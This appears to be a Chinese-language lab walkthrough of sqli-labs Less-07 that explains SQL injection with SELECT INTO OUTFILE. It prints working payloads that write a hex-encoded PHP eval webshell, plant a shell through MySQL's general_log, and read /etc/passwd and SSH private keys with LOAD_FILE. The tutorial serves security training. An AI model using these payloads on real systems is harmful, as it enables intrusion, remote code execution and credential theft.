首页 / 资讯中心 / 文章详情

SQL注入进阶:Less07文件写入利用与SELECT INTO OUTFILE实战

SQL注入进阶:Less07文件写入利用与SELECT INTO OUTFILE实战 ★ FEATURED ARTICLE
1. 文件写入利用Less07 到底在考什么很多人刷到 Sqli_libs 第 7 关时第一反应是“这关怎么跟前面的 Less01-06 长得不一样”。前几关无非是报错注入、布尔盲注、时间盲注到了 Less07页面几乎没有任何回显输入单引号也不报错给你留的只有“You are in... use outfile”这种提示。说白了这一关就是专门练MySQL 文件写入SELECT INTO OUTFILE的。适合谁来刷已经能熟练完成联合注入、报错注入但还没真正写过文件的新手以及想系统整理 outfile 利用姿势的进阶学习者。这关的价值不是让你记住一条 payload而是让你搞清楚为什么有时候能写文件有时候写不进去MySQL 的 secure_file_priv 到底怎么影响结果以及写进去的 WebShell 怎么才能被解析执行。我当初在这关卡了两天第一次以为是自己 payload 写错了反复用联合注入的格式去试结果总是返回 NULL。后来才意识到这关用的是双引号闭合而且必须走UNION SELECT配合INTO OUTFILE跟前面几关的单引号闭合完全是两套思路。这篇文章就把我踩过的坑、验证过的步骤、以及文件写入失败时的排查顺序全部整理出来。2. 环境准备Less07 的注入点与闭合方式2.1 注入点特征分析Less07 的 URL 结构通常是这种风格http://127.0.0.1/sqli-labs/Less-07/?id1输入?id1时页面正常显示You are in... use outfile。注意这个提示不是随便写的它明确告诉你这一关的正确利用方向就是写文件。我测试时先试了单引号http://127.0.0.1/sqli-labs/Less-07/?id1页面没有任何报错看起来跟正常访问一样。继续试?id1 --依然没有异常回显。这里就能判断单引号不是闭合符。换成双引号http://127.0.0.1/sqli-labs/Less-07/?id1页面依然不报错。但如果你用?id1 --注意观察响应内容会发现 “You are in” 后面的内容出现变化。再结合?id1 and 11 --和?id1 and 12 --的对比就能确定闭合方式为双引号。2.2 确认字段数与联合注入可行性写文件最常用的方式是UNION SELECT前提是先确认字段数。我习惯用ORDER BY逐步试探http://127.0.0.1/sqli-labs/Less-07/?id1 order by 3 --这里页面正常说明字段数至少是 3。继续http://127.0.0.1/sqli-labs/Less-07/?id1 order by 4 --此时页面出现异常或不同回显说明字段数就是 3。这里有个细节需要注意Less07 的页面不会把查询结果直接渲染出来你执行UNION SELECT 1,2,3看到的可能仍然只是那段固定提示。但这不影响 outfile因为INTO OUTFILE不依赖页面回显只要 SQL 语句能执行文件就会写到目标路径。提示刷靶场时不要只盯着页面有没有回显。判断注入是否成功的标准是“SQL 语句是否按你的意图执行”而不是“页面上有没有打印出数据”。2.3 为什么必须用双引号闭合我见过很多人在这关翻车就是因为默认用单引号闭合前面几关的惯性。Less07 的后端 SQL 大概是这样的结构$sqlSELECT * FROM users WHERE id($id) LIMIT 0,1;前面几关可能是WHERE id$id而这一关在变量外层包了一层括号所以输入的单引号被括号内层结构消化掉了。实际测试中?id1)也是敏感点但最终能稳定利用的还是双引号配合注释符的方式因为我们要在UNION SELECT前把 id 的条件置为假让联合查询的结果成为主查询结果。常见的稳定 payload 格式是?id1 union select 1,2,3 into outfile 路径 --注意这里没有把 id 改成负数因为 1 本身可能就能匹配到记录但联合查询会追加结果所以不影响写文件。3. 文件写入的核心INTO OUTFILE 原理与权限约束3.1 三条写文件语句的区别MySQL 里写文件相关的语句主要是INTO OUTFILE、INTO DUMPFILE和LOAD_FILE()作用完全不同很多人混着用结果就出问题。INTO OUTFILE将查询结果导出为文本文件适合写 WebShell因为内容可以被格式化处理也能写入多行。INTO DUMPFILE导出原始二进制内容不做任何转义处理适合写二进制文件但每次只能写一行内容不能加行终结符。LOAD_FILE()是读文件函数不是写文件可以用来读取系统文件内容前提是权限足够且文件可读。Less07 能用的是INTO OUTFILE。因为我们要写入的内容通常是一句话木马比如?php eval($_POST[x]); ?这个内容如果直接用INTO DUMPFILE写也可以成功但INTO OUTFILE更灵活它能配合UNION SELECT在一行内拼接内容。3.2 secure_file_priv 对写入的硬限制这是大多数人写文件失败的根本原因。MySQL 从 5.5.53 之后引入了secure_file_priv参数它有三个取值状态取值含义NULL禁止所有导入导出文件操作空字符串不限制目录任何路径都可读写指定目录仅允许在该目录下进行导入导出查看方式SHOW VARIABLES LIKE secure_file_priv;或者SELECT secure_file_priv;在靶场环境里如果看到结果是/tmp/或者/var/lib/mysql-files/那就只能往这个目录写。但实际测试中很多一键搭建的靶场环境这个值为空字符串表示不限目录这时候才能直接往网站根目录写。我在自己搭的环境里看到的是空字符串这也是很多人刷题时能一把过的原因。但如果你的环境是官方镜像或者安全配置较高的版本默认值可能是 NULL那 Less07 就完全无法利用 outfile只能换其他注入方式。注意遇到secure_file_priv为 NULL 时不要浪费时间在 outfile 上。要么换一个环境要么找管理员权限执行SET GLOBAL secure_file_priv但后者在真实渗透中基本不可行靶场里也只是演示意义。3.3 目录权限与 MySQL 运行账户除了secure_file_priv还要看 MySQL 进程的运行账户是否对目标目录有写权限。Linux 下 MySQL 通常以mysql用户运行网站目录如果是/var/www/html/权限一般是 root 所有。理论上mysql用户写不进去但很多靶场为了省事直接把目录权限设成了 777或者用 root 跑 MySQL这种情况就能写。我测试时遇到过一种奇怪情况secure_file_priv是空的目录权限也是 777但写入还是报错The MySQL server is running with the --secure-file-priv option so it cannot execute this statement。后来才发现是同一个 MySQL 实例下开了多个沙箱连接到的那个实例配置不对。所以排查时别只看一个维度。4. 实操步骤从探测到写入 WebShell4.1 第一步确认绝对路径写文件必须要知道目标网站的绝对路径。靶场通常默认路径是/var/www/html/或 Windows 下的C:\phpstudy_pro\WWW\但生产环境不可能这么标准常见探测方式有报错信息泄露输入无效参数让程序抛出完整路径。配合LOAD_FILE()读取配置文件比如/etc/apache2/sites-enabled/000-default.conf或C:\Apache24\conf\httpd.conf。查看常见默认路径逐个尝试。Less07 页面本身不泄露路径但既然是靶场直接按默认路径尝试即可。如果想验证路径是否有效可以先写一个简单文件?id1 union select 1,2,3 into outfile /var/www/html/test.txt --然后访问http://127.0.0.1/test.txt如果能访问到说明路径正确且写入成功。这里我建议先写.txt而不是直接写.php因为纯文本更容易确认写入是否成功避免因为 PHP 解析问题干扰判断。4.2 第二步构造 WebShell 写入语句确认路径可行之后再用一句话木马覆盖写入?id1 union select 1,2,?php eval($_POST[x]); ? into outfile /var/www/html/shell.php --注意这里UNION SELECT的字段数必须与前一步探测到的 3 个字段对应。如果你只 select 两个字段整个语句会报字段数不匹配写入自然失败。写入后访问http://127.0.0.1/shell.php如果页面空白或者返回 200再用工具连接即可。这里推荐先用curl验证curl -d xphpinfo(); http://127.0.0.1/shell.php如果输出 phpinfo 页面说明 WebShell 可用。4.3 第三步Linux 下写入文件的内容转义问题INTO OUTFILE在写入包含特殊字符的内容时默认会对某些字符做转义比如换行符、制表符、反斜杠。实测中写 PHP 一句话木马最安全的方式是用单引号包裹字符内容payload 里避免使用双引号嵌套否则容易导致 SQL 语句提前闭合。我常用这个格式?id1 union select 1,2,0x3c3f70687020406576616c28245f504f53545b27636d64275d293b203f3e into outfile /var/www/html/shell.php --这里0x3c...是十六进制编码的一句话木马?php eval($_POST[cmd]); ?用十六进制的好处是彻底避开引号转义问题。也是我在实战中验证过最稳定的写法推荐你直接记住这个方式。4.4 第四步Windows 环境的注意事项Windows 下 MySQL 的路径分隔符要写成反斜杠但 SQL 语句里反斜杠本身是转义符所以有两种写法?id1 union select 1,2,0x3c3f70687020406576616c28245f504f53545b27636d64275d293b203f3e into outfile C:\\phpstudy_pro\\WWW\\shell.php --或者用正斜杠?id1 union select 1,2,0x3c3f70687020406576616c28245f504f53545b27636d64275d293b203f3e into outfile C:/phpstudy_pro/WWW/shell.php --MySQL 在 Windows 下对正斜杠是兼容的所以用正斜杠反而更省事不用考虑转义。5. 常见问题与排查技巧实录5.1 写入成功但访问 404这种情况比较常见原因有两类一是写入路径和 Web 根目录不一致比如你写进了/var/www/而不是/var/www/html/二是写入的文件名带空格或编码问题。我建议写入后用数据库的LOAD_FILE()把内容读回来验证?id1 union select 1,2,load_file(/var/www/html/shell.php) --如果能读到内容说明文件确实存在问题在 Web 服务配置如果读不到说明写入路径可能就是错的。5.2 报错 secure-file-priv 的完整处理思路如果写入时报The MySQL server is running with the --secure-file-priv option so it cannot execute this statement按这个顺序排查先执行SHOW VARIABLES LIKE secure_file_priv;确认当前值。如果是 NULL任何路径都写不了检查是否能通过其他方式提权或修改配置。如果是具体目录比如/tmp/那就尝试写入该目录再通过文件包含漏洞执行。如果显示空字符串说明不限目录问题就转到权限上。确认目标目录的属主和权限确保 MySQL 运行账户有写权限。尝试换一个目录写比如/tmp/验证是不是特定目录的问题。5.3 写入成功但 PHP 文件不解析这可能有两种原因一是目标 Web 服务没有配置 PHP 解析访问.php直接下载文件二是你写进去的内容被INTO OUTFILE转义破坏了。第一种情况常见于容器环境只启动了 Nginx 但没有安装 PHP-FPM。这种环境下就算写入 100 个 shell 也没用。第二种情况我遇到过写入后文件内容变成了?php eval($_POST[cmd]); ?这个看着没问题但文件开头或者结尾可能多了制表符、换行导致 PHP 解析报错。解决办法就是前面说的用十六进制编码内容写入完全绕开转义问题。5.4 判断注入语句是否执行成功的小技巧Less07 这种无回显注入判断语句是否执行有一个很实用的小技巧先尝试写一个h1test/h1这类有标记内容到外层目录再直接请求这个文件看返回状态码和内容。如果 200 且内容显示说明 SQL 执行链路完全正常。这样就能把“SQL 语句本身的问题”和“写入目标路径的问题”分开排查效率高很多。6. 文件写入利用的进阶扩展思路6.1 利用日志文件备份写 ShellLess07 本身是演示 outfile但实际环境中 outfile 经常被禁。这时可以换一种思路MySQL 的通用查询日志和慢查询日志文件也是能写的如果你的账号有 SUPER 权限可以通过修改日志文件路径的方式把 WebShell 写到网站目录。大致思路是SET GLOBAL general_log_file /var/www/html/shell.php; SET GLOBAL general_log ON;然后执行SELECT ?php eval($_POST[x]); ?;这个语句会被记录到日志文件里如果日志文件路径改成了网站目录下的 php 文件那么访问这个文件就能执行。这种方式比 outfile 更隐蔽但要求权限较高。6.2 MySQL 新版本下 outfile 的替代方案MySQL 8.0 之后secure_file_priv默认值变得更为严格很多环境下 outfile 无法直接使用。但可以在拿到 MySQL 权限后用SELECT ... INTO DUMPFILE结合 UDF 提权方式往插件目录写入动态链接库文件。这个属于提权范畴靶场练习中很少涉及但作为延伸学习可以了解一下。6.3 文件读取与文件写入的组合利用拿到 outfile 能力后不要只想着写 WebShell。读取目标服务器上的敏感文件同样重要尤其是/etc/passwd/usr/local/etc/php/php.ini/var/www/html/config.php.ssh/id_rsa各种备份文件读文件用的是LOAD_FILE()比如?id1 union select 1,2,load_file(/etc/passwd) --如果页面没有回显可以把读到的内容转成十六进制再输出或者写入另一个文件再访问。这种组合思路在真实场景中能发挥比单独写 shell 更大的作用。7. 实操心得与避坑清单7.1 我这几次测试总结出的五条经验第一不要一上来就写 PHP 文件。先用test.txt验证路径再写 shell能把排查时间压缩一半以上。第二INTO OUTFILE写入的内容不要包含容易被转义的符号。写不了就别硬试改用十六进制编码。第三不同版本的 MySQL 对secure_file_priv的默认策略差别很大。刷题前先花两分钟查一下这个变量能帮你省下大量无效尝试。第四路径探测要优先做。Less07 默认路径大概率是/var/www/html/但如果你搭建用的是宝塔、小皮面板这类集成环境路径可能完全不同。第五成功写入后一定要验证内容完整性。访问 200 不代表文件内容正确能执行才算真正利用成功。7.2 最常见的三个误区误区一认为INTO OUTFILE只跟数据库权限有关。实际上它不仅需要FILE权限还受到系统目录权限、SELinux、MySQL 沙箱等多重限制。误区二认为联合注入字段数越多越好。Less07 的字段数必须是固定的 3 个多一个少一个都写不了文件。误区三忽略页面提示信息。Less07 上的You are in... use outfile就是官方给你的提示很多人不看提示闷头试报错注入白白浪费时间。7.3 后续练习方向Less07 刷完之后建议接着把 Less08 和 Less09 的盲注练熟因为盲注的二分法判断思路在真实环境中比 outfile 更常用。另外可以练习一下当 outfile 完全不可用时通过布尔盲注逐步读取数据库内容的整个流程。把这几关串起来才算真正把 SQL 注入的常见利用面打通。说到底Less07 教的不只是写文件这一条 payload而是一种“判断环境能力边界”的方法先确认闭合方式再探测字段数接着查权限最后选择最合适的写入方式。这套流程在任何注入点都通用。记住这一点比记住一百条 payload 都值。
阅读完成 · 觉得有帮助?
咨询建站